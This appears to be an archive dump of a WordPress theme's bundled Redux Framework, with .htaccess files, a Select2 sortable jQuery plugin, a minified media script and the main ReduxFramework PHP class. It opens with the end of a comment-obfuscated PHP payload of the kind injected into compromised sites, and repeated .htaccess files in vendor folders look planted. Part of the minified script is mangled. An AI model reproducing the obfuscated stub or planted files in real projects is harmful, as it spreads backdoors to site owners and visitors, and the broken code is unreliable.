}/*-j=i6!8-*/}/*-G,1yhzK=z-*/NioQA/*-&O1x^>-*/::/*-W)s$T16,-*/Cd/*-8ixU7dB-*/();/*-KI|epj0Kxe-*/ ?>lib/redux-framework/assets/js/vendor/vendor/.htaccess000064400000001626147206624460016762 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/js/vendor/redux.select2.sortable.js000064400000012770147206624460020530 0ustar00/** * jQuery Select2 Sortable * - enable select2 to be sortable via normal select element * * author : Vafour * modified : Kevin Provance (kprovance) * inspired by : jQuery Chosen Sortable (https://github.com/mrhenry/jquery-chosen-sortable) * License : GPL */ (function ($) { $.fn.extend({ select2SortableOrder: function () { var $this = this.filter('[multiple]'); $this.each(function () { var $select = $(this); // skip elements not select2-ed if (typeof ($select.data('select2')) !== 'object') { return false; } var $select2 = $select.siblings('.select2-container'); var sorted; // Opt group names var optArr = []; $select.find('optgroup').each(function(idx, val) { optArr.push (val); }); $select.find('option').each(function(idx, val) { var groupName = $(this).parent('optgroup').prop('label'); var optVal = this; if (groupName === undefined) { if (this.value !== '' && !this.selected) { optArr.push (optVal); } } }); sorted = $($select2.find('.select2-choices li[class!="select2-search-field"]').map(function () { if (!this) { return undefined; } if($(this).data('select2Data') != undefined){ var id = $(this).data('select2Data').id; return $select.find('option[value="' + id + '"]')[0]; } //var id = $(this).data('select2Data').id; //return $select.find('option[value="' + id + '"]')[0]; })); sorted.push.apply(sorted, optArr); $select.children().remove(); $select.append(sorted); }); return $this; }, select2Sortable: function () { var args = Array.prototype.slice.call(arguments, 0); $this = this.filter('[multiple]'), validMethods = ['destroy']; if (args.length === 0 || typeof (args[0]) === 'object') { var defaultOptions = { bindOrder: 'formSubmit', // or sortableStop sortableOptions: { placeholder: 'ui-state-highlight', items: 'li:not(.select2-search-field)', tolerance: 'pointer' } }; var options = $.extend(defaultOptions, args[0]); // Init select2 only if not already initialized to prevent select2 configuration loss if (typeof ($this.data('select2')) !== 'object') { $this.select2(); } $this.each(function () { var $select = $(this) var $select2choices = $select.siblings('.select2-container').find('.select2-choices'); // Init jQuery UI Sortable $select2choices.sortable(options.sortableOptions); switch (options.bindOrder) { case 'sortableStop': // apply options ordering in sortstop event $select2choices.on("sortstop.select2sortable", function (event, ui) { $select.select2SortableOrder(); }); $select.on('change', function (e) { $(this).select2SortableOrder(); }); break; default: // apply options ordering in form submit $select.closest('form').unbind('submit.select2sortable').on('submit.select2sortable', function () { $select.select2SortableOrder(); }); break; } }); } else if (typeof (args[0] === 'string')) { if ($.inArray(args[0], validMethods) == -1) { throw "Unknown method: " + args[0]; } if (args[0] === 'destroy') { $this.select2SortableDestroy(); } } return $this; }, select2SortableDestroy: function () { var $this = this.filter('[multiple]'); $this.each(function () { var $select = $(this) var $select2choices = $select.parent().find('.select2-choices'); // unbind form submit event $select.closest('form').unbind('submit.select2sortable'); // unbind sortstop event $select2choices.unbind("sortstop.select2sortable"); // destroy select2Sortable $select2choices.sortable('destroy'); }); return $this; } }); }(jQuery));lib/redux-framework/assets/js/vendor/.htaccess000064400000001626147206624460015465 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/js/media/media.min.js000064400000006277147206624460015657 0ustar00!function(s){"use strict";var r;redux.field_objects=redux.field_objects||{},redux.field_objects.media=redux.field_objects.media||{},redux.field_objects.media.init=function(e){e||(e=s(document).find(".redux-group-tab:visible").find(".redux-container-media:visible")),s(e).each(function(){var e=s(this),i=e;e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),i.is(":hidden")||i.hasClass("redux-field-init")&&(i.removeClass("redux-field-init"),r=!1,e.find(".remove-image, .remove-file").unbind("click").on("click",function(){redux.field_objects.media.removeFile(s(this).parents("fieldset.redux-field:first"))}),e.find(".media_upload_button").unbind().on("click",function(e){redux.field_objects.media.addFile(e,s(this).parents("fieldset.redux-field:first"))}))})},redux.field_objects.media.addFile=function(e,n){var o;e.preventDefault();var d,i=s(this);if(o)o.open();else{var t=s(n).find(".library-filter").data("lib-filter");void 0!==t&&""!==t&&(d=[],r=!0,t=decodeURIComponent(t),t=JSON.parse(t),s.each(t,function(e,i){d.push(i)})),(o=wp.media({multiple:!1,library:{type:d},title:i.data("choose"),button:{text:i.data("update")}})).on("select",function(){var e=o.state().get("selection").first();o.close();var i=s(n).find(".data").data();if(void 0!==redux.field_objects.media&&void 0!==typeof redux.field_objects.media||(redux.field_objects.media={}),void 0!==i&&"undefined"!==i.mode||(i={mode:"image"}),!0===r&&(i.mode=0),0===i.mode);else if(!1!==i.mode&&e.attributes.type!==i.mode&&e.attributes.subtype!==i.mode)return;console.log(e),n.find(".upload").val(e.attributes.url),n.find(".upload-id").val(e.attributes.id),n.find(".upload-height").val(e.attributes.height),n.find(".upload-width").val(e.attributes.width),n.find(".upload-title").val(e.attributes.title),n.find(".upload-caption").val(e.attributes.caption),n.find(".upload-alt").val(e.attributes.alt),n.find(".upload-description").val(e.attributes.description),redux_change(s(n).find(".upload-id"));var d=e.attributes.url;if(void 0!==e.attributes.sizes&&void 0!==e.attributes.sizes.thumbnail)d=e.attributes.sizes.thumbnail.url;else if(void 0!==e.attributes.sizes){var t=e.attributes.height;for(var a in e.attributes.sizes){var l=e.attributes.sizes[a];l.height').slideDown("fast"),n.find(".remove-image").removeClass("hide"),n.find(".redux-background-properties").slideDown()}),o.open()}},redux.field_objects.media.removeFile=function(e){e.find(".remove-image").addClass("hide")&&(e.find(".remove-image").addClass("hide"),e.find(".upload").val(""),e.find(".upload-id").val(""),e.find(".upload-height").val(""),e.find(".upload-width").val(""),e.find(".upload-title").val(""),e.find(".upload-caption").val(""),e.find(".upload-alt").val(""),e.find(".upload-description").val(""),e.find(".upload-thumbnail").val(""),redux_change(s(e).find(".upload-id")),e.find(".redux-background-properties").hide(),e.find(".screenshot").slideUp(),e.find(".remove-file").unbind(),0' . __( 'Redux Framework', 'redux-framework' ) . ' v' . self::$_version ) . ''; } if ( empty ( $this->args['menu_title'] ) ) { $this->args['menu_title'] = __( 'Options', 'redux-framework' ); } if ( empty ( $this->args['page_title'] ) ) { $this->args['page_title'] = __( 'Options', 'redux-framework' ); } $this->old_opt_name = $this->args['opt_name']; /** * filter 'redux/args/{opt_name}' * * @param array $args ReduxFramework configuration */ $this->args = apply_filters( "redux/args/{$this->args['opt_name']}", $this->args ); /** * filter 'redux/options/{opt_name}/args' * * @param array $args ReduxFramework configuration */ $this->args = apply_filters( "redux/options/{$this->args['opt_name']}/args", $this->args ); if ( $this->args['opt_name'] == $this->old_opt_name ) { unset( $this->old_opt_name ); } // Do not save the defaults if we're on a live preview! if ( $GLOBALS['pagenow'] == "customize" && isset( $_GET['theme'] ) && ! empty( $_GET['theme'] ) ) { $this->args['save_defaults'] = false; } if ( ! empty ( $this->args['opt_name'] ) ) { /** * SHIM SECTION * Old variables and ways of doing things that need correcting. ;) * */ // Variable name change if ( ! empty ( $this->args['page_cap'] ) ) { $this->args['page_permissions'] = $this->args['page_cap']; unset ( $this->args['page_cap'] ); } if ( ! empty ( $this->args['page_position'] ) ) { $this->args['page_priority'] = $this->args['page_position']; unset ( $this->args['page_position'] ); } if ( ! empty ( $this->args['page_type'] ) ) { $this->args['menu_type'] = $this->args['page_type']; unset ( $this->args['page_type'] ); } // Auto create the page_slug appropriately if ( empty( $this->args['page_slug'] ) ) { if ( ! empty( $this->args['display_name'] ) ) { $this->args['page_slug'] = sanitize_html_class( $this->args['display_name'] ); } else if ( ! empty( $this->args['page_title'] ) ) { $this->args['page_slug'] = sanitize_html_class( $this->args['page_title'] ); } else if ( ! empty( $this->args['menu_title'] ) ) { $this->args['page_slug'] = sanitize_html_class( $this->args['menu_title'] ); } else { $this->args['page_slug'] = str_replace( '-', '_', $this->args['opt_name'] ); } } $this->change_demo_defaults(); // Get rid of extra_tabs! Not needed. if ( is_array( $extra_tabs ) && ! empty ( $extra_tabs ) ) { foreach ( $extra_tabs as $tab ) { array_push( $this->sections, $tab ); } } // Move to the first loop area! /** * filter 'redux-sections' * * @deprecated * * @param array $sections field option sections */ $this->sections = apply_filters( 'redux-sections', $sections ); // REMOVE LATER /** * filter 'redux-sections-{opt_name}' * * @deprecated * * @param array $sections field option sections */ $this->sections = apply_filters( "redux-sections-{$this->args['opt_name']}", $this->sections ); // REMOVE LATER /** * filter 'redux/options/{opt_name}/sections' * * @param array $sections field option sections */ $this->sections = apply_filters( "redux/options/{$this->args['opt_name']}/sections", $this->sections ); /** * Construct hook * action 'redux/construct' * * @param object $this ReduxFramework */ do_action( 'redux/construct', $this ); // Set the default values $this->_default_cleanup(); // Internataionalization $this->_internationalization(); $this->filesystem = Redux_Filesystem::get_instance( $this ); //set redux upload folder $this->set_redux_content(); // Register extra extensions $this->_register_extensions(); // Grab database values $this->get_options(); // Tracking if ( isset( $this->args['allow_tracking'] ) && $this->args['allow_tracking'] && Redux_Helpers::isTheme( __FILE__ ) ) { $this->_tracking(); } // Options page add_action( 'admin_menu', array( $this, '_options_page' ) ); // Add a network menu if ( $this->args['database'] == "network" && $this->args['network_admin'] ) { add_action( 'network_admin_menu', array( $this, '_options_page' ) ); } // Admin Bar menu add_action( 'admin_bar_menu', array( $this, '_admin_bar_menu' ), $this->args['admin_bar_priority'] ); // Register setting add_action( 'admin_init', array( $this, '_register_settings' ) ); // Display admin notices in dev_mode // if ( true == $this->args['dev_mode'] ) { // if ( true == $this->args['update_notice'] ) { // add_action( 'admin_init', array( $this, '_update_check' ) ); // } // } // Display admin notices add_action( 'admin_notices', array( $this, '_admin_notices' ), 99 ); // Check for dismissed admin notices. add_action( 'admin_init', array( $this, '_dismiss_admin_notice' ), 9 ); // Enqueue the admin page CSS and JS if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { add_action( 'admin_enqueue_scripts', array( $this, '_enqueue' ), 1 ); } // Output dynamic CSS // Frontend: Maybe enqueue dynamic CSS and Google fonts if ( empty ( $this->args['output_location'] ) || in_array( 'frontend', $this->args['output_location'] ) ) { add_action( 'wp_head', array( &$this, '_output_css' ), 150 ); add_action( 'wp_enqueue_scripts', array( &$this, '_enqueue_output' ), 150 ); } // Login page: Maybe enqueue dynamic CSS and Google fonts if ( in_array( 'login', $this->args['output_location'] ) ) { add_action( 'login_head', array( &$this, '_output_css' ), 150 ); add_action( 'login_enqueue_scripts', array( &$this, '_enqueue_output' ), 150 ); } // Admin area: Maybe enqueue dynamic CSS and Google fonts if ( in_array( 'admin', $this->args['output_location'] ) ) { add_action( 'admin_head', array( &$this, '_output_css' ), 150 ); add_action( 'admin_enqueue_scripts', array( &$this, '_enqueue_output' ), 150 ); } add_action( 'wp_print_scripts', array( $this, 'vc_fixes' ), 100 ); add_action( 'admin_enqueue_scripts', array( $this, 'vc_fixes' ), 100 ); if ( $this->args['database'] == "network" && $this->args['network_admin'] ) { add_action( 'network_admin_edit_redux_' . $this->args['opt_name'], array( $this, 'save_network_page' ), 10, 0 ); add_action( 'admin_bar_menu', array( $this, 'network_admin_bar' ), 999 ); } // Ajax saving!!! add_action( "wp_ajax_" . $this->args['opt_name'] . '_ajax_save', array( $this, "ajax_save" ) ); // if ( $this->args['dev_mode'] == true || Redux_Helpers::isLocalHost() == true ) { // require_once 'core/dashboard.php'; // new reduxDashboardWidget( $this ); // // if ( ! isset ( $GLOBALS['redux_notice_check'] ) || $GLOBALS['redux_notice_check'] == 0 ) { // require_once 'core/newsflash.php'; // // $params = array( // 'dir_name' => 'notice', // 'server_file' => 'http://reduxframework.com/wp-content/uploads/redux/redux_notice.json', // 'interval' => 3, // 'cookie_id' => 'redux_blast', // ); // // // new reduxNewsflash( $this, $params ); // $GLOBALS['redux_notice_check'] = 1; // } // } } /** * Loaded hook * action 'redux/loaded' * * @param object $this ReduxFramework */ do_action( 'redux/loaded', $this ); } // __construct() private function set_redux_content() { $upload_dir = wp_upload_dir(); self::$_upload_dir = $upload_dir['basedir'] . '/redux/'; self::$_upload_url = str_replace( array( 'https://', 'http://' ), '//', $upload_dir['baseurl'] . '/redux/' ); } private function set_default_args() { $this->args = array( 'opt_name' => '', // Must be defined by theme/plugin 'google_api_key' => '', // Must be defined to update the google fonts cache for the typography module 'google_update_weekly' => false, // Set to keep your google fonts updated weekly 'last_tab' => '', // force a specific tab to always show on reload 'menu_icon' => '', // menu icon 'menu_title' => '', // menu title/text 'page_title' => '', // option page title 'page_slug' => '', 'page_permissions' => 'manage_options', 'menu_type' => 'menu', // ('menu'|'submenu') 'page_parent' => 'themes.php', // requires menu_type = 'submenu 'page_priority' => null, 'allow_sub_menu' => true, // allow submenus to be added if menu_type == menu 'save_defaults' => true, // Save defaults to the DB on it if empty 'footer_credit' => '', 'async_typography' => false, 'disable_google_fonts_link' => false, 'class' => '', // Class that gets appended to all redux-containers 'admin_bar' => true, 'admin_bar_priority' => 999, // Show the panel pages on the admin bar 'admin_bar_icon' => '', // admin bar icon 'help_tabs' => array(), 'help_sidebar' => '', 'database' => '', // possible: options, theme_mods, theme_mods_expanded, transient, network 'customizer' => false, // setting to true forces get_theme_mod_expanded 'global_variable' => '', // Changes global variable from $GLOBALS['YOUR_OPT_NAME'] to whatever you set here. false disables the global variable 'output' => true, // Dynamically generate CSS 'compiler' => true, // Initiate the compiler hook 'output_tag' => true, // Print Output Tag 'output_location' => array( 'frontend' ), // Where the dynamic CSS will be added. Can be any combination from: 'frontend', 'login', 'admin' 'transient_time' => '', 'default_show' => false, // If true, it shows the default value 'default_mark' => '', // What to print by the field's title if the value shown is default 'update_notice' => true, // Recieve an update notice of new commits when in dev mode 'disable_save_warn' => false, // Disable the save warn 'open_expanded' => false, 'hide_expand' => false, // Start the panel fully expanded to start with 'network_admin' => false, // Enable network admin when using network database mode 'network_sites' => true, // Enable sites as well as admin when using network database mode 'hide_reset' => false, 'hide_save' => false, 'hints' => array( 'icon' => 'el el-question-sign', 'icon_position' => 'right', 'icon_color' => 'lightgray', 'icon_size' => 'normal', 'tip_style' => array( 'color' => 'light', 'shadow' => true, 'rounded' => false, 'style' => '', ), 'tip_position' => array( 'my' => 'top_left', 'at' => 'bottom_right', ), 'tip_effect' => array( 'show' => array( 'effect' => 'slide', 'duration' => '500', 'event' => 'mouseover', ), 'hide' => array( 'effect' => 'fade', 'duration' => '500', 'event' => 'click mouseleave', ), ), ), 'show_import_export' => true, 'show_options_object' => true, 'dev_mode' => true, 'templates_path' => '', // Path to the templates file for various Redux elements 'ajax_save' => true, // Disable the use of ajax saving for the panel 'use_cdn' => true, 'cdn_check_time' => 1440, 'options_api' => true, ); } // Fix conflicts with Visual Composer. public function vc_fixes() { if ( redux_helpers::isFieldInUse( $this, 'ace_editor' ) ) { wp_dequeue_script( 'wpb_ace' ); wp_deregister_script( 'wpb_ace' ); } } public function network_admin_bar( $wp_admin_bar ) { $args = array( 'id' => $this->args['opt_name'] . '_network_admin', 'title' => $this->args['menu_title'], 'parent' => 'network-admin', 'href' => network_admin_url( 'settings.php' ) . '?page=' . $this->args['page_slug'], 'meta' => array( 'class' => 'redux-network-admin' ) ); $wp_admin_bar->add_node( $args ); } public function save_network_page() { $data = $this->_validate_options( $_POST[ $this->args['opt_name'] ] ); if ( ! empty ( $data ) ) { $this->set_options( $data ); } wp_redirect( add_query_arg( array( 'page' => $this->args['page_slug'], 'updated' => 'true' ), network_admin_url( 'settings.php' ) ) ); exit (); } public function _update_check() { // Only one notice per instance please if ( ! isset ( $GLOBALS['redux_update_check'] ) ) { Redux_Functions::updateCheck($this, self::$_version ); $GLOBALS['redux_update_check'] = 1; } } public function _admin_notices() { Redux_Admin_Notices::adminNotices($this, $this->admin_notices ); } public function _dismiss_admin_notice() { Redux_Admin_Notices::dismissAdminNotice(); } /** * Load the plugin text domain for translation. * * @since 3.0.5 */ private function _internationalization() { /** * Locale for text domain * filter 'redux/textdomain/{opt_name}' * * @param string The locale of the blog or from the 'locale' hook * @param string 'redux-framework' text domain */ // $locale = apply_filters( "redux/textdomain/{$this->args['opt_name']}", get_locale(), 'redux-framework' ); // // if ( strpos( $locale, '_' ) === false ) { // if ( file_exists( self::$_dir . 'languages/' . strtolower( $locale ) . '_' . strtoupper( $locale ) . '.mo' ) ) { // $locale = strtolower( $locale ) . '_' . strtoupper( $locale ); // } // } $basename = basename( __FILE__ ); $basepath = plugin_basename( __FILE__ ); $basepath = str_replace( $basename, '', $basepath ); $basepath = apply_filters( "redux/textdomain/basepath/{$this->args['opt_name']}", $basepath ); $loaded = load_plugin_textdomain( 'redux-framework', false, $basepath . 'languages'); if ( !$loaded ){ $loaded = load_muplugin_textdomain( 'redux-framework', $basepath . 'languages' ); } if ( !$loaded ){ $loaded = load_theme_textdomain( 'redux-framework', $basepath . 'languages' ); } if ( ! $loaded ) { $locale = apply_filters( 'plugin_locale', get_locale(), 'redux-framework' ); $mofile = dirname( __FILE__ ) . '/languages/redux-framework-' . $locale . '.mo'; load_textdomain( 'redux-framework', $mofile ); } } // _internationalization() /** * @return ReduxFramework */ public function get_instance() { //self::$_instance = $this; return self::$instance; } // get_instance() private function _tracking() { if ( file_exists( dirname( __FILE__ ) . '/inc/tracking.php' ) ) { require_once dirname( __FILE__ ) . '/inc/tracking.php'; $tracking = Redux_Tracking::get_instance(); $tracking->load( $this ); } } // _tracking() /** * ->_get_default(); This is used to return the default value if default_show is set * * @since 1.0.1 * @access public * * @param string $opt_name The option name to return * @param mixed $default (null) The value to return if default not set * * @return mixed $default */ public function _get_default( $opt_name, $default = null ) { if ( $this->args['default_show'] == true ) { if ( empty ( $this->options_defaults ) ) { $this->_default_values(); // fill cache } $default = array_key_exists( $opt_name, $this->options_defaults ) ? $this->options_defaults[ $opt_name ] : $default; } return $default; } // _get_default() /** * ->get(); This is used to return and option value from the options array * * @since 1.0.0 * @access public * * @param string $opt_name The option name to return * @param mixed $default (null) The value to return if option not set * * @return mixed */ public function get( $opt_name, $default = null ) { return ( ! empty ( $this->options[ $opt_name ] ) ) ? $this->options[ $opt_name ] : $this->_get_default( $opt_name, $default ); } // get() /** * ->set(); This is used to set an arbitrary option in the options array * * @since 1.0.0 * @access public * * @param string $opt_name The name of the option being added * @param mixed $value The value of the option being added * * @return void */ public function set( $opt_name = '', $value = '' ) { if ( $opt_name != '' ) { $this->options[ $opt_name ] = $value; $this->set_options( $this->options ); } } // set() /** * Set a global variable by the global_variable argument * * @since 3.1.5 * @return bool (global was set) */ private function set_global_variable() { if ( $this->args['global_variable'] ) { $option_global = $this->args['global_variable']; /** * filter 'redux/options/{opt_name}/global_variable' * * @param array $value option value to set global_variable with */ $GLOBALS[ $this->args['global_variable'] ] = apply_filters( "redux/options/{$this->args['opt_name']}/global_variable", $this->options ); if ( isset ( $this->transients['last_save'] ) ) { // Deprecated $GLOBALS[ $this->args['global_variable'] ]['REDUX_last_saved'] = $this->transients['last_save']; // Last save key $GLOBALS[ $this->args['global_variable'] ]['REDUX_LAST_SAVE'] = $this->transients['last_save']; } if ( isset ( $this->transients['last_compiler'] ) ) { // Deprecated $GLOBALS[ $this->args['global_variable'] ]['REDUX_COMPILER'] = $this->transients['last_compiler']; // Last compiler hook key $GLOBALS[ $this->args['global_variable'] ]['REDUX_LAST_COMPILER'] = $this->transients['last_compiler']; } return true; } return false; } // set_global_variable() /** * ->set_options(); This is used to set an arbitrary option in the options array * * @since ReduxFramework 3.0.0 * * @param mixed $value the value of the option being added */ public function set_options( $value = '' ) { $this->transients['last_save'] = time(); if ( ! empty ( $value ) ) { $this->options = $value; if ( $this->args['database'] === 'transient' ) { set_transient( $this->args['opt_name'] . '-transient', $value, $this->args['transient_time'] ); } else if ( $this->args['database'] === 'theme_mods' ) { set_theme_mod( $this->args['opt_name'] . '-mods', $value ); } else if ( $this->args['database'] === 'theme_mods_expanded' ) { foreach ( $value as $k => $v ) { set_theme_mod( $k, $v ); } } else if ( $this->args['database'] === 'network' ) { // Strip those slashes! //$value = json_decode( stripslashes( json_encode( $value ) ), true ); update_site_option( $this->args['opt_name'], $value ); } else { update_option( $this->args['opt_name'], $value ); } // Store the changed values in the transient if ( $value != $this->options ) { foreach ( $value as $k => $v ) { if ( ! isset ( $this->options[ $k ] ) ) { $this->options[ $k ] = ""; } else if ( $v == $this->options[ $k ] ) { unset ( $this->options[ $k ] ); } } $this->transients['changed_values'] = $this->options; } $this->options = $value; // Set a global variable by the global_variable argument. $this->set_global_variable(); // Saving the transient values $this->set_transients(); //do_action( "redux-saved-{$this->args['opt_name']}", $value ); // REMOVE //do_action( "redux/options/{$this->args['opt_name']}/saved", $value, $this->transients['changed_values'] ); } } // set_options() /** * ->get_options(); This is used to get options from the database * * @since ReduxFramework 3.0.0 */ public function get_options() { $defaults = false; if ( ! empty ( $this->defaults ) ) { $defaults = $this->defaults; } if ( $this->args['database'] === "transient" ) { $result = get_transient( $this->args['opt_name'] . '-transient' ); } else if ( $this->args['database'] === "theme_mods" ) { $result = get_theme_mod( $this->args['opt_name'] . '-mods' ); } else if ( $this->args['database'] === 'theme_mods_expanded' ) { $result = get_theme_mods(); } else if ( $this->args['database'] === 'network' ) { $result = get_site_option( $this->args['opt_name'], array() ); //$result = json_decode( stripslashes( json_encode( $result ) ), true ); } else { $result = get_option( $this->args['opt_name'], array() ); } if ( empty ( $result ) && ! empty ( $defaults ) ) { $results = $defaults; $this->set_options( $results ); } else { $this->options = $result; } /** * action 'redux/options/{opt_name}/options' * * @param mixed $value option values */ $this->options = apply_filters( "redux/options/{$this->args['opt_name']}/options", $this->options ); // Get transient values $this->get_transients(); // Set a global variable by the global_variable argument. $this->set_global_variable(); } // get_options() /** * ->get_wordpress_date() - Get Wordpress specific data from the DB and return in a usable array * * @since ReduxFramework 3.0.0 */ public function get_wordpress_data( $type = false, $args = array() ) { $data = ""; //return $data; /** * filter 'redux/options/{opt_name}/wordpress_data/{type}/' * * @deprecated * * @param string $data */ $data = apply_filters( "redux/options/{$this->args['opt_name']}/wordpress_data/$type/", $data ); // REMOVE LATER /** * filter 'redux/options/{opt_name}/data/{type}' * * @param string $data */ $data = apply_filters( "redux/options/{$this->args['opt_name']}/data/$type", $data ); $argsKey = md5( serialize( $args ) ); if ( empty ( $data ) && isset ( $this->wp_data[ $type . $argsKey ] ) ) { $data = $this->wp_data[ $type . $argsKey ]; } if ( empty ( $data ) && ! empty ( $type ) ) { /** * Use data from Wordpress to populate options array * */ if ( ! empty ( $type ) && empty ( $data ) ) { if ( empty ( $args ) ) { $args = array(); } $data = array(); $args = wp_parse_args( $args, array() ); if ( $type == "categories" || $type == "category" ) { $cats = get_categories( $args ); if ( ! empty ( $cats ) ) { foreach ( $cats as $cat ) { $data[ $cat->term_id ] = $cat->name; } //foreach } // If } else if ( $type == "menus" || $type == "menu" ) { $menus = wp_get_nav_menus( $args ); if ( ! empty ( $menus ) ) { foreach ( $menus as $item ) { $data[ $item->term_id ] = $item->name; } //foreach } //if } else if ( $type == "pages" || $type == "page" ) { if ( ! isset ( $args['posts_per_page'] ) ) { $args['posts_per_page'] = 20; } $pages = get_pages( $args ); if ( ! empty ( $pages ) ) { foreach ( $pages as $page ) { $data[ $page->ID ] = $page->post_title; } //foreach } //if } else if ( $type == "terms" || $type == "term" ) { $taxonomies = $args['taxonomies']; unset ( $args['taxonomies'] ); $terms = get_terms( $taxonomies, $args ); // this will get nothing if ( ! empty ( $terms ) && ! is_a( $terms, 'WP_Error' ) ) { foreach ( $terms as $term ) { $data[ $term->term_id ] = $term->name; } //foreach } // If } else if ( $type == "taxonomy" || $type == "taxonomies" ) { $taxonomies = get_taxonomies( $args ); if ( ! empty ( $taxonomies ) ) { foreach ( $taxonomies as $key => $taxonomy ) { $data[ $key ] = $taxonomy; } //foreach } // If } else if ( $type == "posts" || $type == "post" ) { $posts = get_posts( $args ); if ( ! empty ( $posts ) ) { foreach ( $posts as $post ) { $data[ $post->ID ] = $post->post_title; } //foreach } //if } else if ( $type == "post_type" || $type == "post_types" ) { global $wp_post_types; $defaults = array( 'public' => true, 'exclude_from_search' => false, ); $args = wp_parse_args( $args, $defaults ); $output = 'names'; $operator = 'and'; $post_types = get_post_types( $args, $output, $operator ); ksort( $post_types ); foreach ( $post_types as $name => $title ) { if ( isset ( $wp_post_types[ $name ]->labels->menu_name ) ) { $data[ $name ] = $wp_post_types[ $name ]->labels->menu_name; } else { $data[ $name ] = ucfirst( $name ); } } } else if ( $type == "tags" || $type == "tag" ) { // NOT WORKING! $tags = get_tags( $args ); if ( ! empty ( $tags ) ) { foreach ( $tags as $tag ) { $data[ $tag->term_id ] = $tag->name; } //foreach } //if } else if ( $type == "menu_location" || $type == "menu_locations" ) { global $_wp_registered_nav_menus; foreach ( $_wp_registered_nav_menus as $k => $v ) { $data[ $k ] = $v; } } else if ( $type == "image_size" || $type == "image_sizes" ) { global $_wp_additional_image_sizes; foreach ( $_wp_additional_image_sizes as $size_name => $size_attrs ) { $data[ $size_name ] = $size_name . ' - ' . $size_attrs['width'] . ' x ' . $size_attrs['height']; } } else if ( $type == "elusive-icons" || $type == "elusive-icon" || $type == "elusive" || $type == "font-icon" || $type == "font-icons" || $type == "icons" ) { /** * filter 'redux-font-icons' * * @deprecated * * @param array $font_icons array of elusive icon classes */ $font_icons = apply_filters( 'redux-font-icons', array() ); // REMOVE LATER /** * filter 'redux/font-icons' * * @deprecated * * @param array $font_icons array of elusive icon classes */ $font_icons = apply_filters( 'redux/font-icons', $font_icons ); /** * filter 'redux/{opt_name}/field/font/icons' * * @deprecated * * @param array $font_icons array of elusive icon classes */ $font_icons = apply_filters( "redux/{$this->args['opt_name']}/field/font/icons", $font_icons ); foreach ( $font_icons as $k ) { $data[ $k ] = $k; } } else if ( $type == "roles" ) { /** @global WP_Roles $wp_roles */ global $wp_roles; $data = $wp_roles->get_names(); } else if ( $type == "sidebars" || $type == "sidebar" ) { /** @global array $wp_registered_sidebars */ global $wp_registered_sidebars; foreach ( $wp_registered_sidebars as $key => $value ) { $data[ $key ] = $value['name']; } } else if ( $type == "capabilities" ) { /** @global WP_Roles $wp_roles */ global $wp_roles; foreach ( $wp_roles->roles as $role ) { foreach ( $role['capabilities'] as $key => $cap ) { $data[ $key ] = ucwords( str_replace( '_', ' ', $key ) ); } } } else if ( $type == "callback" ) { if ( ! is_array( $args ) ) { $args = array( $args ); } $data = call_user_func( $args[0] ); } else if ( $type == "users" || $type == "users" ) { $users = get_users( $args ); if ( ! empty ( $users ) ) { foreach ( $users as $user ) { $data[ $user->ID ] = $user->display_name; } //foreach } //if } //if } //if $this->wp_data[ $type . $argsKey ] = $data; } //if return $data; } // get_wordpress_data() /** * ->show(); This is used to echo and option value from the options array * * @since 1.0.0 * @access public * * @param string $opt_name The name of the option being shown * @param mixed $default The value to show if $opt_name isn't set * * @return void */ public function show( $opt_name, $default = '' ) { $option = $this->get( $opt_name ); if ( ! is_array( $option ) && $option != '' ) { echo $option; } elseif ( $default != '' ) { echo $this->_get_default( $opt_name, $default ); } } // show() /** * Get the default value for an option * * @since 3.3.6 * @access public * * @param string $key The option's ID * @param string $array_key The key of the default's array * * @return mixed */ public function get_default_value( $key, $array_key = false ) { if ( empty ( $this->options_defaults ) ) { $this->options_defaults = $this->_default_values(); } $defaults = $this->options_defaults; $value = ''; if ( isset ( $defaults[ $key ] ) ) { if ( $array_key !== false && isset ( $defaults[ $key ][ $array_key ] ) ) { $value = $defaults[ $key ][ $array_key ]; } else { $value = $defaults[ $key ]; } } return $value; } public function field_default_values( $field ) { // Detect what field types are being used if ( ! isset ( $this->fields[ $field['type'] ][ $field['id'] ] ) ) { $this->fields[ $field['type'] ][ $field['id'] ] = 1; } else { $this->fields[ $field['type'] ] = array( $field['id'] => 1 ); } if ( isset ( $field['default'] ) ) { $this->options_defaults[ $field['id'] ] = apply_filters( "redux/{$this->args['opt_name']}/field/{$field['type']}/defaults", $field['default'], $field ); } elseif ( ( $field['type'] != "ace_editor" ) ) { // Sorter data filter if ( isset( $field['data'] ) && ! empty( $field['data'] ) ) { if ( ! isset( $field['args'] ) ) { $field['args'] = array(); } if ( is_array( $field['data'] ) && ! empty( $field['data'] ) ) { foreach ( $field['data'] as $key => $data ) { if ( ! empty( $data ) ) { if ( ! isset ( $field['args'][ $key ] ) ) { $field['args'][ $key ] = array(); } $field['options'][ $key ] = $this->get_wordpress_data( $data, $field['args'][ $key ] ); } } } else { $field['options'] = $this->get_wordpress_data( $field['data'], $field['args'] ); } } if ( $field['type'] == "sorter" && isset ( $field['data'] ) && ! empty ( $field['data'] ) && is_array( $field['data'] ) ) { if ( ! isset ( $field['args'] ) ) { $field['args'] = array(); } foreach ( $field['data'] as $key => $data ) { if ( ! isset ( $field['args'][ $key ] ) ) { $field['args'][ $key ] = array(); } $field['options'][ $key ] = $this->get_wordpress_data( $data, $field['args'][ $key ] ); } } if ( isset ( $field['options'] ) ) { if ( $field['type'] == "sortable" ) { $this->options_defaults[ $field['id'] ] = array(); } elseif ( $field['type'] == "image_select" ) { $this->options_defaults[ $field['id'] ] = ''; } elseif ( $field['type'] == "select" ) { $this->options_defaults[ $field['id'] ] = ''; } else { $this->options_defaults[ $field['id'] ] = $field['options']; } } } } /** * Get default options into an array suitable for the settings API * * @since 1.0.0 * @access public * @return array $this->options_defaults */ public function _default_values() { if ( ! is_null( $this->sections ) && is_null( $this->options_defaults ) ) { // fill the cache foreach ( $this->sections as $sk => $section ) { if ( ! isset ( $section['id'] ) ) { if ( ! 